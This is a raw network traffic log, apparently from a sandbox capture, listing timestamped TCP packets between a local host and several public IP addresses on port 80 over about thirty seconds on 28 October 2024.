Oct 28, 2024 16:52:26.202234030 CET	60570	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:52:26.202745914 CET	60570	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:52:26.202774048 CET	60570	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:52:26.208062887 CET	80	60570	44.221.84.105	192.168.2.5
Oct 28, 2024 16:52:26.208091974 CET	80	60570	44.221.84.105	192.168.2.5
Oct 28, 2024 16:52:26.872064114 CET	80	60570	44.221.84.105	192.168.2.5
Oct 28, 2024 16:52:26.885288954 CET	60570	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:52:26.891386032 CET	80	60570	44.221.84.105	192.168.2.5
Oct 28, 2024 16:52:26.891468048 CET	60570	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:52:26.903745890 CET	60571	80	192.168.2.5	13.251.16.150
Oct 28, 2024 16:52:26.909200907 CET	80	60571	13.251.16.150	192.168.2.5
Oct 28, 2024 16:52:26.909281969 CET	60571	80	192.168.2.5	13.251.16.150
Oct 28, 2024 16:52:26.929936886 CET	60571	80	192.168.2.5	13.251.16.150
Oct 28, 2024 16:52:26.929963112 CET	60571	80	192.168.2.5	13.251.16.150
Oct 28, 2024 16:52:26.935367107 CET	80	60571	13.251.16.150	192.168.2.5
Oct 28, 2024 16:52:26.935581923 CET	80	60571	13.251.16.150	192.168.2.5
Oct 28, 2024 16:52:29.264233112 CET	80	60571	13.251.16.150	192.168.2.5
Oct 28, 2024 16:52:29.264492035 CET	60571	80	192.168.2.5	13.251.16.150
Oct 28, 2024 16:52:29.267072916 CET	80	60571	13.251.16.150	192.168.2.5
Oct 28, 2024 16:52:29.267119884 CET	60571	80	192.168.2.5	13.251.16.150
Oct 28, 2024 16:52:29.268059969 CET	80	60571	13.251.16.150	192.168.2.5
Oct 28, 2024 16:52:29.268114090 CET	60571	80	192.168.2.5	13.251.16.150
Oct 28, 2024 16:52:29.268178940 CET	80	60571	13.251.16.150	192.168.2.5
Oct 28, 2024 16:52:29.268223047 CET	60571	80	192.168.2.5	13.251.16.150
Oct 28, 2024 16:52:29.268692970 CET	80	60571	13.251.16.150	192.168.2.5
Oct 28, 2024 16:52:29.268742085 CET	60571	80	192.168.2.5	13.251.16.150
Oct 28, 2024 16:52:29.272438049 CET	80	60571	13.251.16.150	192.168.2.5
Oct 28, 2024 16:52:29.272468090 CET	80	60571	13.251.16.150	192.168.2.5
Oct 28, 2024 16:52:29.272517920 CET	60571	80	192.168.2.5	13.251.16.150
Oct 28, 2024 16:52:29.421654940 CET	60572	80	192.168.2.5	35.164.78.200
Oct 28, 2024 16:52:29.427211046 CET	80	60572	35.164.78.200	192.168.2.5
Oct 28, 2024 16:52:29.427295923 CET	60572	80	192.168.2.5	35.164.78.200
Oct 28, 2024 16:52:29.427431107 CET	60572	80	192.168.2.5	35.164.78.200
Oct 28, 2024 16:52:29.427459955 CET	60572	80	192.168.2.5	35.164.78.200
Oct 28, 2024 16:52:29.432921886 CET	80	60572	35.164.78.200	192.168.2.5
Oct 28, 2024 16:52:29.432996988 CET	80	60572	35.164.78.200	192.168.2.5
Oct 28, 2024 16:52:30.285726070 CET	80	60572	35.164.78.200	192.168.2.5
Oct 28, 2024 16:52:30.285906076 CET	60572	80	192.168.2.5	35.164.78.200
Oct 28, 2024 16:52:30.292678118 CET	80	60572	35.164.78.200	192.168.2.5
Oct 28, 2024 16:52:30.292736053 CET	60572	80	192.168.2.5	35.164.78.200
Oct 28, 2024 16:52:30.302090883 CET	60573	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:52:30.307502031 CET	80	60573	18.141.10.107	192.168.2.5
Oct 28, 2024 16:52:30.307579041 CET	60573	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:52:30.307679892 CET	60573	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:52:30.307708979 CET	60573	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:52:30.313499928 CET	80	60573	18.141.10.107	192.168.2.5
Oct 28, 2024 16:52:30.313525915 CET	80	60573	18.141.10.107	192.168.2.5
Oct 28, 2024 16:52:31.716445923 CET	80	60573	18.141.10.107	192.168.2.5
Oct 28, 2024 16:52:31.716639042 CET	60573	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:52:31.724267006 CET	80	60573	18.141.10.107	192.168.2.5
Oct 28, 2024 16:52:31.724376917 CET	60573	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:52:31.730722904 CET	60574	80	192.168.2.5	18.246.231.120
Oct 28, 2024 16:52:31.736241102 CET	80	60574	18.246.231.120	192.168.2.5
Oct 28, 2024 16:52:31.736336946 CET	60574	80	192.168.2.5	18.246.231.120
Oct 28, 2024 16:52:31.736444950 CET	60574	80	192.168.2.5	18.246.231.120
Oct 28, 2024 16:52:31.736479998 CET	60574	80	192.168.2.5	18.246.231.120
Oct 28, 2024 16:52:31.741910934 CET	80	60574	18.246.231.120	192.168.2.5
Oct 28, 2024 16:52:31.741940022 CET	80	60574	18.246.231.120	192.168.2.5
Oct 28, 2024 16:52:32.563828945 CET	80	60574	18.246.231.120	192.168.2.5
Oct 28, 2024 16:52:32.564018965 CET	60574	80	192.168.2.5	18.246.231.120
Oct 28, 2024 16:52:32.570528030 CET	80	60574	18.246.231.120	192.168.2.5
Oct 28, 2024 16:52:32.570610046 CET	60574	80	192.168.2.5	18.246.231.120
Oct 28, 2024 16:52:33.260492086 CET	59986	80	192.168.2.5	34.211.97.45
Oct 28, 2024 16:52:33.265948057 CET	80	59986	34.211.97.45	192.168.2.5
Oct 28, 2024 16:52:33.266017914 CET	59986	80	192.168.2.5	34.211.97.45
Oct 28, 2024 16:52:33.266130924 CET	59986	80	192.168.2.5	34.211.97.45
Oct 28, 2024 16:52:33.266156912 CET	59986	80	192.168.2.5	34.211.97.45
Oct 28, 2024 16:52:33.271713972 CET	80	59986	34.211.97.45	192.168.2.5
Oct 28, 2024 16:52:33.271744967 CET	80	59986	34.211.97.45	192.168.2.5
Oct 28, 2024 16:52:34.118547916 CET	80	59986	34.211.97.45	192.168.2.5
Oct 28, 2024 16:52:34.118751049 CET	59986	80	192.168.2.5	34.211.97.45
Oct 28, 2024 16:52:34.125063896 CET	80	59986	34.211.97.45	192.168.2.5
Oct 28, 2024 16:52:34.125134945 CET	59986	80	192.168.2.5	34.211.97.45
Oct 28, 2024 16:52:34.132667065 CET	59987	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:52:34.138355017 CET	80	59987	18.208.156.248	192.168.2.5
Oct 28, 2024 16:52:34.138439894 CET	59987	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:52:34.138528109 CET	59987	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:52:34.138571978 CET	59987	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:52:34.144108057 CET	80	59987	18.208.156.248	192.168.2.5
Oct 28, 2024 16:52:34.144222975 CET	80	59987	18.208.156.248	192.168.2.5
Oct 28, 2024 16:52:34.801428080 CET	80	59987	18.208.156.248	192.168.2.5
Oct 28, 2024 16:52:34.801671028 CET	59987	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:52:34.807804108 CET	80	59987	18.208.156.248	192.168.2.5
Oct 28, 2024 16:52:34.807879925 CET	59987	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:52:34.815819025 CET	59988	80	192.168.2.5	35.164.78.200
Oct 28, 2024 16:52:34.821239948 CET	80	59988	35.164.78.200	192.168.2.5
Oct 28, 2024 16:52:34.821336031 CET	59988	80	192.168.2.5	35.164.78.200
Oct 28, 2024 16:52:34.821470976 CET	59988	80	192.168.2.5	35.164.78.200
Oct 28, 2024 16:52:34.821496964 CET	59988	80	192.168.2.5	35.164.78.200
Oct 28, 2024 16:52:34.826900959 CET	80	59988	35.164.78.200	192.168.2.5
Oct 28, 2024 16:52:34.827095032 CET	80	59988	35.164.78.200	192.168.2.5
Oct 28, 2024 16:52:35.771967888 CET	80	59988	35.164.78.200	192.168.2.5
Oct 28, 2024 16:52:35.772171021 CET	80	59988	35.164.78.200	192.168.2.5
Oct 28, 2024 16:52:35.772182941 CET	59988	80	192.168.2.5	35.164.78.200
Oct 28, 2024 16:52:35.772241116 CET	59988	80	192.168.2.5	35.164.78.200
Oct 28, 2024 16:52:35.777889013 CET	80	59988	35.164.78.200	192.168.2.5
Oct 28, 2024 16:52:35.977440119 CET	59989	80	192.168.2.5	34.211.97.45
Oct 28, 2024 16:52:35.982969999 CET	80	59989	34.211.97.45	192.168.2.5
Oct 28, 2024 16:52:35.983059883 CET	59989	80	192.168.2.5	34.211.97.45
Oct 28, 2024 16:52:35.983169079 CET	59989	80	192.168.2.5	34.211.97.45
Oct 28, 2024 16:52:35.983206987 CET	59989	80	192.168.2.5	34.211.97.45
Oct 28, 2024 16:52:35.989787102 CET	80	59989	34.211.97.45	192.168.2.5
Oct 28, 2024 16:52:35.989830017 CET	80	59989	34.211.97.45	192.168.2.5
Oct 28, 2024 16:52:36.832375050 CET	80	59989	34.211.97.45	192.168.2.5
Oct 28, 2024 16:52:36.832590103 CET	59989	80	192.168.2.5	34.211.97.45
Oct 28, 2024 16:52:36.839827061 CET	80	59989	34.211.97.45	192.168.2.5
Oct 28, 2024 16:52:36.839900970 CET	59989	80	192.168.2.5	34.211.97.45
Oct 28, 2024 16:52:37.026038885 CET	59990	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:52:37.032510042 CET	80	59990	44.221.84.105	192.168.2.5
Oct 28, 2024 16:52:37.032748938 CET	59990	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:52:37.032885075 CET	59990	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:52:37.032885075 CET	59990	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:52:37.038243055 CET	80	59990	44.221.84.105	192.168.2.5
Oct 28, 2024 16:52:37.038392067 CET	80	59990	44.221.84.105	192.168.2.5
Oct 28, 2024 16:52:37.722570896 CET	80	59990	44.221.84.105	192.168.2.5
Oct 28, 2024 16:52:37.722827911 CET	59990	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:52:37.729553938 CET	80	59990	44.221.84.105	192.168.2.5
Oct 28, 2024 16:52:37.729635000 CET	59990	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:52:37.738262892 CET	59991	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:52:37.743784904 CET	80	59991	54.244.188.177	192.168.2.5
Oct 28, 2024 16:52:37.743973017 CET	59991	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:52:37.744014025 CET	59991	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:52:37.744014025 CET	59991	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:52:37.749633074 CET	80	59991	54.244.188.177	192.168.2.5
Oct 28, 2024 16:52:37.750081062 CET	80	59991	54.244.188.177	192.168.2.5
Oct 28, 2024 16:52:38.610407114 CET	80	59991	54.244.188.177	192.168.2.5
Oct 28, 2024 16:52:38.610629082 CET	59991	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:52:38.617867947 CET	80	59991	54.244.188.177	192.168.2.5
Oct 28, 2024 16:52:38.617954016 CET	59991	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:52:38.626127958 CET	59992	80	192.168.2.5	35.164.78.200
Oct 28, 2024 16:52:38.631695986 CET	80	59992	35.164.78.200	192.168.2.5
Oct 28, 2024 16:52:38.631911039 CET	59992	80	192.168.2.5	35.164.78.200
Oct 28, 2024 16:52:38.659461021 CET	59992	80	192.168.2.5	35.164.78.200
Oct 28, 2024 16:52:38.659503937 CET	59992	80	192.168.2.5	35.164.78.200
Oct 28, 2024 16:52:38.665406942 CET	80	59992	35.164.78.200	192.168.2.5
Oct 28, 2024 16:52:38.666198015 CET	80	59992	35.164.78.200	192.168.2.5
Oct 28, 2024 16:52:39.470838070 CET	80	59992	35.164.78.200	192.168.2.5
Oct 28, 2024 16:52:39.471174002 CET	59992	80	192.168.2.5	35.164.78.200
Oct 28, 2024 16:52:39.477081060 CET	80	59992	35.164.78.200	192.168.2.5
Oct 28, 2024 16:52:39.477161884 CET	59992	80	192.168.2.5	35.164.78.200
Oct 28, 2024 16:52:39.576973915 CET	59993	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:52:39.582469940 CET	80	59993	54.244.188.177	192.168.2.5
Oct 28, 2024 16:52:39.582545042 CET	59993	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:52:39.582664013 CET	59993	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:52:39.582695007 CET	59993	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:52:39.588110924 CET	80	59993	54.244.188.177	192.168.2.5
Oct 28, 2024 16:52:39.588140965 CET	80	59993	54.244.188.177	192.168.2.5
Oct 28, 2024 16:52:40.422995090 CET	80	59993	54.244.188.177	192.168.2.5
Oct 28, 2024 16:52:40.423183918 CET	59993	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:52:40.428998947 CET	80	59993	54.244.188.177	192.168.2.5
Oct 28, 2024 16:52:40.429219961 CET	59993	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:52:40.437606096 CET	59994	80	192.168.2.5	34.211.97.45
Oct 28, 2024 16:52:40.443114996 CET	80	59994	34.211.97.45	192.168.2.5
Oct 28, 2024 16:52:40.443197966 CET	59994	80	192.168.2.5	34.211.97.45
Oct 28, 2024 16:52:40.443310022 CET	59994	80	192.168.2.5	34.211.97.45
Oct 28, 2024 16:52:40.443371058 CET	59994	80	192.168.2.5	34.211.97.45
Oct 28, 2024 16:52:40.448854923 CET	80	59994	34.211.97.45	192.168.2.5
Oct 28, 2024 16:52:40.449246883 CET	80	59994	34.211.97.45	192.168.2.5
Oct 28, 2024 16:52:41.272118092 CET	80	59994	34.211.97.45	192.168.2.5
Oct 28, 2024 16:52:41.272357941 CET	59994	80	192.168.2.5	34.211.97.45
Oct 28, 2024 16:52:41.279046059 CET	80	59994	34.211.97.45	192.168.2.5
Oct 28, 2024 16:52:41.279195070 CET	59994	80	192.168.2.5	34.211.97.45
Oct 28, 2024 16:52:41.288007021 CET	59995	80	192.168.2.5	47.129.31.212
Oct 28, 2024 16:52:41.294301987 CET	80	59995	47.129.31.212	192.168.2.5
Oct 28, 2024 16:52:41.294380903 CET	59995	80	192.168.2.5	47.129.31.212
Oct 28, 2024 16:52:41.294508934 CET	59995	80	192.168.2.5	47.129.31.212
Oct 28, 2024 16:52:41.294543028 CET	59995	80	192.168.2.5	47.129.31.212
Oct 28, 2024 16:52:41.301390886 CET	80	59995	47.129.31.212	192.168.2.5
Oct 28, 2024 16:52:41.302030087 CET	80	59995	47.129.31.212	192.168.2.5
Oct 28, 2024 16:52:42.561801910 CET	80	50024	85.214.228.140	192.168.2.5
Oct 28, 2024 16:52:42.561907053 CET	80	50024	85.214.228.140	192.168.2.5
Oct 28, 2024 16:52:42.561925888 CET	50024	80	192.168.2.5	85.214.228.140
Oct 28, 2024 16:52:42.561995983 CET	50024	80	192.168.2.5	85.214.228.140
Oct 28, 2024 16:52:42.561995983 CET	50024	80	192.168.2.5	85.214.228.140
Oct 28, 2024 16:52:42.562175989 CET	80	50024	85.214.228.140	192.168.2.5
Oct 28, 2024 16:52:42.562228918 CET	50024	80	192.168.2.5	85.214.228.140
Oct 28, 2024 16:52:42.568555117 CET	80	50024	85.214.228.140	192.168.2.5
Oct 28, 2024 16:52:42.713582993 CET	80	59995	47.129.31.212	192.168.2.5
Oct 28, 2024 16:52:42.713768959 CET	59995	80	192.168.2.5	47.129.31.212
Oct 28, 2024 16:52:42.719517946 CET	80	59995	47.129.31.212	192.168.2.5
Oct 28, 2024 16:52:42.719620943 CET	59995	80	192.168.2.5	47.129.31.212
Oct 28, 2024 16:52:42.730093956 CET	59996	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:52:42.735527039 CET	80	59996	54.244.188.177	192.168.2.5
Oct 28, 2024 16:52:42.735682011 CET	59996	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:52:42.735892057 CET	59996	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:52:42.735919952 CET	59996	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:52:42.741278887 CET	80	59996	54.244.188.177	192.168.2.5
Oct 28, 2024 16:52:42.741626978 CET	80	59996	54.244.188.177	192.168.2.5
Oct 28, 2024 16:52:43.565865993 CET	80	59996	54.244.188.177	192.168.2.5
Oct 28, 2024 16:52:43.566135883 CET	59996	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:52:43.572388887 CET	80	59996	54.244.188.177	192.168.2.5
Oct 28, 2024 16:52:43.572506905 CET	59996	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:52:43.673973083 CET	59997	80	192.168.2.5	3.94.10.34
Oct 28, 2024 16:52:43.679543018 CET	80	59997	3.94.10.34	192.168.2.5
Oct 28, 2024 16:52:43.679672003 CET	59997	80	192.168.2.5	3.94.10.34
Oct 28, 2024 16:52:43.679754019 CET	59997	80	192.168.2.5	3.94.10.34
Oct 28, 2024 16:52:43.679774046 CET	59997	80	192.168.2.5	3.94.10.34
Oct 28, 2024 16:52:43.685623884 CET	80	59997	3.94.10.34	192.168.2.5
Oct 28, 2024 16:52:43.685703039 CET	80	59997	3.94.10.34	192.168.2.5
Oct 28, 2024 16:52:44.343225956 CET	80	59997	3.94.10.34	192.168.2.5
Oct 28, 2024 16:52:44.343523026 CET	59997	80	192.168.2.5	3.94.10.34
Oct 28, 2024 16:52:44.349435091 CET	80	59997	3.94.10.34	192.168.2.5
Oct 28, 2024 16:52:44.349536896 CET	59997	80	192.168.2.5	3.94.10.34
Oct 28, 2024 16:52:44.365031004 CET	59998	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:52:44.371336937 CET	80	59998	18.208.156.248	192.168.2.5
Oct 28, 2024 16:52:44.371407986 CET	59998	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:52:44.377974987 CET	59998	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:52:44.378000975 CET	59998	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:52:44.384789944 CET	80	59998	18.208.156.248	192.168.2.5
Oct 28, 2024 16:52:44.385446072 CET	80	59998	18.208.156.248	192.168.2.5
Oct 28, 2024 16:52:45.037393093 CET	80	59998	18.208.156.248	192.168.2.5
Oct 28, 2024 16:52:45.037810087 CET	59998	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:52:45.044269085 CET	80	59998	18.208.156.248	192.168.2.5
Oct 28, 2024 16:52:45.044368982 CET	59998	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:52:45.053329945 CET	59999	80	192.168.2.5	18.246.231.120
Oct 28, 2024 16:52:45.059117079 CET	80	59999	18.246.231.120	192.168.2.5
Oct 28, 2024 16:52:45.059245110 CET	59999	80	192.168.2.5	18.246.231.120
Oct 28, 2024 16:52:45.059422016 CET	59999	80	192.168.2.5	18.246.231.120
Oct 28, 2024 16:52:45.059459925 CET	59999	80	192.168.2.5	18.246.231.120
Oct 28, 2024 16:52:45.064858913 CET	80	59999	18.246.231.120	192.168.2.5
Oct 28, 2024 16:52:45.065104008 CET	80	59999	18.246.231.120	192.168.2.5
Oct 28, 2024 16:52:45.892080069 CET	80	59999	18.246.231.120	192.168.2.5
Oct 28, 2024 16:52:45.898118973 CET	59999	80	192.168.2.5	18.246.231.120
Oct 28, 2024 16:52:45.904174089 CET	80	59999	18.246.231.120	192.168.2.5
Oct 28, 2024 16:52:45.904266119 CET	59999	80	192.168.2.5	18.246.231.120
Oct 28, 2024 16:52:45.914047003 CET	60000	80	192.168.2.5	3.94.10.34
Oct 28, 2024 16:52:45.919547081 CET	80	60000	3.94.10.34	192.168.2.5
Oct 28, 2024 16:52:45.919637918 CET	60000	80	192.168.2.5	3.94.10.34
Oct 28, 2024 16:52:45.919753075 CET	60000	80	192.168.2.5	3.94.10.34
Oct 28, 2024 16:52:45.919776917 CET	60000	80	192.168.2.5	3.94.10.34
Oct 28, 2024 16:52:45.925363064 CET	80	60000	3.94.10.34	192.168.2.5
Oct 28, 2024 16:52:45.925460100 CET	80	60000	3.94.10.34	192.168.2.5
Oct 28, 2024 16:52:46.585510969 CET	80	60000	3.94.10.34	192.168.2.5
Oct 28, 2024 16:52:46.585798979 CET	60000	80	192.168.2.5	3.94.10.34
Oct 28, 2024 16:52:46.593625069 CET	80	60000	3.94.10.34	192.168.2.5
Oct 28, 2024 16:52:46.593727112 CET	60000	80	192.168.2.5	3.94.10.34
Oct 28, 2024 16:52:46.606997967 CET	60001	80	192.168.2.5	35.164.78.200
Oct 28, 2024 16:52:46.612437963 CET	80	60001	35.164.78.200	192.168.2.5
Oct 28, 2024 16:52:46.612579107 CET	60001	80	192.168.2.5	35.164.78.200
Oct 28, 2024 16:52:46.612720013 CET	60001	80	192.168.2.5	35.164.78.200
Oct 28, 2024 16:52:46.612736940 CET	60001	80	192.168.2.5	35.164.78.200
Oct 28, 2024 16:52:46.618555069 CET	80	60001	35.164.78.200	192.168.2.5
Oct 28, 2024 16:52:46.618626118 CET	80	60001	35.164.78.200	192.168.2.5
Oct 28, 2024 16:52:47.453248024 CET	80	60001	35.164.78.200	192.168.2.5
Oct 28, 2024 16:52:47.460289955 CET	60001	80	192.168.2.5	35.164.78.200
Oct 28, 2024 16:52:47.466682911 CET	80	60001	35.164.78.200	192.168.2.5
Oct 28, 2024 16:52:47.466779947 CET	60001	80	192.168.2.5	35.164.78.200
Oct 28, 2024 16:52:47.493984938 CET	60002	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:52:47.500114918 CET	80	60002	18.208.156.248	192.168.2.5
Oct 28, 2024 16:52:47.500196934 CET	60002	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:52:47.504612923 CET	60002	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:52:47.504640102 CET	60002	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:52:47.509975910 CET	80	60002	18.208.156.248	192.168.2.5
Oct 28, 2024 16:52:47.510032892 CET	80	60002	18.208.156.248	192.168.2.5
Oct 28, 2024 16:52:48.176425934 CET	80	60002	18.208.156.248	192.168.2.5
Oct 28, 2024 16:52:48.176630974 CET	60002	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:52:48.182377100 CET	80	60002	18.208.156.248	192.168.2.5
Oct 28, 2024 16:52:48.182435036 CET	60002	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:52:48.199178934 CET	60003	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:52:48.204690933 CET	80	60003	54.244.188.177	192.168.2.5
Oct 28, 2024 16:52:48.204771042 CET	60003	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:52:48.204962969 CET	60003	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:52:48.204989910 CET	60003	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:52:48.210397959 CET	80	60003	54.244.188.177	192.168.2.5
Oct 28, 2024 16:52:48.210429907 CET	80	60003	54.244.188.177	192.168.2.5
Oct 28, 2024 16:52:49.085321903 CET	80	60003	54.244.188.177	192.168.2.5
Oct 28, 2024 16:52:49.104063034 CET	60003	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:52:49.110905886 CET	80	60003	54.244.188.177	192.168.2.5
Oct 28, 2024 16:52:49.110970974 CET	60003	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:52:49.121555090 CET	60004	80	192.168.2.5	18.246.231.120
Oct 28, 2024 16:52:49.127345085 CET	80	60004	18.246.231.120	192.168.2.5
Oct 28, 2024 16:52:49.127430916 CET	60004	80	192.168.2.5	18.246.231.120
Oct 28, 2024 16:52:49.127609015 CET	60004	80	192.168.2.5	18.246.231.120
Oct 28, 2024 16:52:49.127643108 CET	60004	80	192.168.2.5	18.246.231.120
Oct 28, 2024 16:52:49.132971048 CET	80	60004	18.246.231.120	192.168.2.5
Oct 28, 2024 16:52:49.133013010 CET	80	60004	18.246.231.120	192.168.2.5
Oct 28, 2024 16:52:49.959461927 CET	80	60004	18.246.231.120	192.168.2.5
Oct 28, 2024 16:52:49.963444948 CET	60004	80	192.168.2.5	18.246.231.120
Oct 28, 2024 16:52:49.969477892 CET	80	60004	18.246.231.120	192.168.2.5
Oct 28, 2024 16:52:49.969603062 CET	60004	80	192.168.2.5	18.246.231.120
Oct 28, 2024 16:52:49.983347893 CET	60005	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:52:49.989959955 CET	80	60005	54.244.188.177	192.168.2.5
Oct 28, 2024 16:52:49.990052938 CET	60005	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:52:50.053610086 CET	60005	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:52:50.053637028 CET	60005	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:52:50.059154987 CET	80	60005	54.244.188.177	192.168.2.5
Oct 28, 2024 16:52:50.059170008 CET	80	60005	54.244.188.177	192.168.2.5
Oct 28, 2024 16:52:50.819294930 CET	80	60005	54.244.188.177	192.168.2.5
Oct 28, 2024 16:52:50.837089062 CET	60005	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:52:50.842956066 CET	80	60005	54.244.188.177	192.168.2.5
Oct 28, 2024 16:52:50.843027115 CET	60005	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:52:50.871341944 CET	60006	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:52:50.876750946 CET	80	60006	18.141.10.107	192.168.2.5
Oct 28, 2024 16:52:50.876840115 CET	60006	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:52:50.878051043 CET	60006	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:52:50.878078938 CET	60006	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:52:50.883434057 CET	80	60006	18.141.10.107	192.168.2.5
Oct 28, 2024 16:52:50.883445024 CET	80	60006	18.141.10.107	192.168.2.5
Oct 28, 2024 16:52:52.319886923 CET	80	60006	18.141.10.107	192.168.2.5
Oct 28, 2024 16:52:52.320128918 CET	60006	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:52:52.326066971 CET	80	60006	18.141.10.107	192.168.2.5
Oct 28, 2024 16:52:52.326956987 CET	60006	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:52:52.336492062 CET	60007	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:52:52.344073057 CET	80	60007	54.244.188.177	192.168.2.5
Oct 28, 2024 16:52:52.344163895 CET	60007	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:52:52.344511986 CET	60007	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:52:52.344528913 CET	60007	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:52:52.353209019 CET	80	60007	54.244.188.177	192.168.2.5
Oct 28, 2024 16:52:52.354809046 CET	80	60007	54.244.188.177	192.168.2.5
Oct 28, 2024 16:52:53.174709082 CET	80	60007	54.244.188.177	192.168.2.5
Oct 28, 2024 16:52:53.225301981 CET	60007	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:52:53.291922092 CET	80	60007	54.244.188.177	192.168.2.5
Oct 28, 2024 16:52:53.293581009 CET	60007	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:52:53.578922987 CET	60007	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:52:53.584425926 CET	80	60007	54.244.188.177	192.168.2.5
Oct 28, 2024 16:52:53.622298956 CET	60008	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:52:53.627765894 CET	80	60008	44.221.84.105	192.168.2.5
Oct 28, 2024 16:52:53.627895117 CET	60008	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:52:53.628225088 CET	60008	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:52:53.628277063 CET	60008	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:52:53.633694887 CET	80	60008	44.221.84.105	192.168.2.5
Oct 28, 2024 16:52:53.633944988 CET	80	60008	44.221.84.105	192.168.2.5
Oct 28, 2024 16:52:54.304781914 CET	80	60008	44.221.84.105	192.168.2.5
Oct 28, 2024 16:52:54.305016994 CET	60008	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:52:54.311237097 CET	80	60008	44.221.84.105	192.168.2.5
Oct 28, 2024 16:52:54.311350107 CET	60008	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:52:54.320892096 CET	60009	80	192.168.2.5	172.234.222.143
Oct 28, 2024 16:52:54.326514006 CET	80	60009	172.234.222.143	192.168.2.5
Oct 28, 2024 16:52:54.326625109 CET	60009	80	192.168.2.5	172.234.222.143
Oct 28, 2024 16:52:54.326935053 CET	60009	80	192.168.2.5	172.234.222.143
Oct 28, 2024 16:52:54.326935053 CET	60009	80	192.168.2.5	172.234.222.143
Oct 28, 2024 16:52:54.332477093 CET	80	60009	172.234.222.143	192.168.2.5
Oct 28, 2024 16:52:54.332618952 CET	80	60009	172.234.222.143	192.168.2.5
Oct 28, 2024 16:52:54.990154982 CET	80	60009	172.234.222.143	192.168.2.5
Oct 28, 2024 16:52:54.990369081 CET	60009	80	192.168.2.5	172.234.222.143
Oct 28, 2024 16:52:54.990369081 CET	60009	80	192.168.2.5	172.234.222.143
Oct 28, 2024 16:52:54.992085934 CET	60010	80	192.168.2.5	172.234.222.143
Oct 28, 2024 16:52:54.995930910 CET	80	60009	172.234.222.143	192.168.2.5
Oct 28, 2024 16:52:54.997469902 CET	80	60010	172.234.222.143	192.168.2.5
Oct 28, 2024 16:52:54.999790907 CET	60010	80	192.168.2.5	172.234.222.143
